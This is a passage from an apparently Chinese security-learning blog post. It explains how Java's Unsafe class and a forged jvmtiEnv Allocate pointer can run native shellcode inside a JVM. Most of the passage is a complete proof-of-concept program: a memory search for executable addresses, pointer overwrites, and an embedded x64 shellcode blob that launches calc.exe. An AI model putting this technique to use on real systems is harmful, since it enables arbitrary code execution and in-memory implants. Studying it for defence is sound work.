    error = (*jvmtienv)->Allocate(jvmtienv,
                                  bytecount,
                                  (unsigned char**) &resultBuffer);
    /* may be called from any phase */
    jplis_assert(error == JVMTI_ERROR_NONE);
    if ( error != JVMTI_ERROR_NONE ) {
        resultBuffer = NULL;
    }
    return resultBuffer;
}

但并不是 shellcode 写在哪里都能执行的,因为系统开了 NX,所以我们需要找到可以执行的内存。这里因为 JIT 区域天生 RWE,而 Java 也是有 JIT 特性的,所以我们只要找到这个地方,向其中写入即可。

但是由于还有 ASLR,会导致 JIT 区域不可控,因此这里 rebeyond 师傅使用了内存搜索,代码如下

java
package org.example;

import sun.misc.Unsafe;

import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class PocForRCE {
    public static void main(String [] args) throws Throwable {

        byte buf[] = new byte[]
                {
                        (byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                        (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                        (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                        (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                        (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                        (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                        (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                        (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                        (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                        (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                        (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                        (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                        (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                        (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                        (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                        (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                        (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                        (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                        (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                        (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                        (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                        (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                        (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                        (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                        (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                };

        Unsafe unsafe = null;

        // 使用反射获取 unsafe 实例
        try {
            Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (sun.misc.Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }

        long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)
        long allocateMemory = unsafe.allocateMemory(size);
        System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

        Map map=new HashMap();
        map.put("X","y");
        //unsafe.putObject(map,allocateMemory+0x10,ints);
        //unsafe.putByte(allocateMemory,);
        PocForRCE poc=new PocForRCE();
        for (int i=0;i<10000;i++)
        {
            poc.b(33);
        }
        Thread.sleep(2000);
        // 提前分配需要暴力内存搜索的空间
        for (int k=0;k<10000;k++)
        {
            long tmp=unsafe.allocateMemory(0x4000);
            //unsafe.putLong(tmp+0x3900,tmp);
            //System.out.println("alloce:"+Long.toHexString(tmp));
        }

        long shellcodeBed = 0;
        int offset=4;
        for (int j=-0x1000;j<0x1000;j++)  //down search
        {

            long target=unsafe.getAddress(allocateMemory+j*offset);
            System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
            if (target%8>0) // 栈对齐
            {
                continue;
            }
            if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl))
            {

                if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
                {
                    continue;
                }
                if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
                {
                    System.out.println("maybe error address,skip "+Long.toHexString(target));
                    continue;
                }
                System.out.println("BYTE:"+unsafe.getByte(target));
                //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
                if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66)
                {
                    System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory+j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
                    shellcodeBed=target;
                    break;
                }

            }

        }

        if (shellcodeBed==0)
        {
            for (int j=-0x100;j<0x800;j++)  //down search
            {

                long target=unsafe.getAddress(allocateMemory+j*offset);
                System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
                if (target%8>0)
                {
                    continue;
                }
                if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl))
                {

                    if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
                    {
                        continue;
                    }
                    if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
                    {
                        System.out.println("maybe error address,skip "+Long.toHexString(target));
                        continue;
                    }
                    System.out.println("BYTE:"+unsafe.getByte(target));
                    //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
                    if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48)
                    {
                        System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
                        shellcodeBed=target;
                        break;
                    }

                }

            }
        }
        System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);

        String address="";

        allocateMemory=shellcodeBed;
        address=allocateMemory+"";
        Class cls=Class.forName("sun.instrument.InstrumentationImpl");

        Constructor constructor=cls.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        Object obj=constructor.newInstance(Long.parseLong(address),true,true);
        Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class});
        ClassDefinition classDefinition=new ClassDefinition(
                Class.class,
                new byte[]{});
        ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition};
        try
        {
            unsafe.putLong(allocateMemory+8,allocateMemory+0x10);  //set **jvmtienv point to it's next memory region
            unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself
            unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer  to allocateMemory+0x10+0x168+8
            for (int k=0;k<buf.length;k++)
            {
                unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body
            }
            redefineMethod.invoke(obj,new Object[]{classDefinitions});  //trigger allocate
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }

    }
    private int a(int x)
    {
        if (x>1)
        {
            // System.out.println("x>1");
        }
        else
        {
            // System.out.println("x<=1");
        }
        return x*1;
    }
    private void b(int x)
    {
        if (a(x)>1)
        {
            //System.out.println("x>1");
            this.a(x);
        }
        else
        {
            this.a(x+4);
            // System.out.println("x<=1");
        }
    }
}

上述代码的大致流程为先通过 unsafe 分配空间,然后对分配的空间进行内存搜索,查找符合条件的指针。如果找到可用的指针就转向该地址开始逐步构造 jvmtienv 的各个参数,最后将 shellcode 写入指向的 allcote 地址内。

如果你运行过几次上述代码,你就会发现一些小问题,比如找不到可用地址,找到的地址为 0,进程崩溃。不过这些问题在 rebeyond 师傅的下一篇文章论如何优雅的注入 Java Agent 内存马进行了解决。

小结

看到 allcote 可以用来进行任意代码执行,我还去特意翻了一下 jvmtiEnv 结构体,结果在 xsl 里面找到了又看不懂,然后找到了这个网站,发现这里面有完整定义。然后回头看发现调用 jvmtienv 的就俩方法,allcote 和 deallcote,那自然还是用 allcote 咯。

参考链接

  1. Java 内存攻击技术漫谈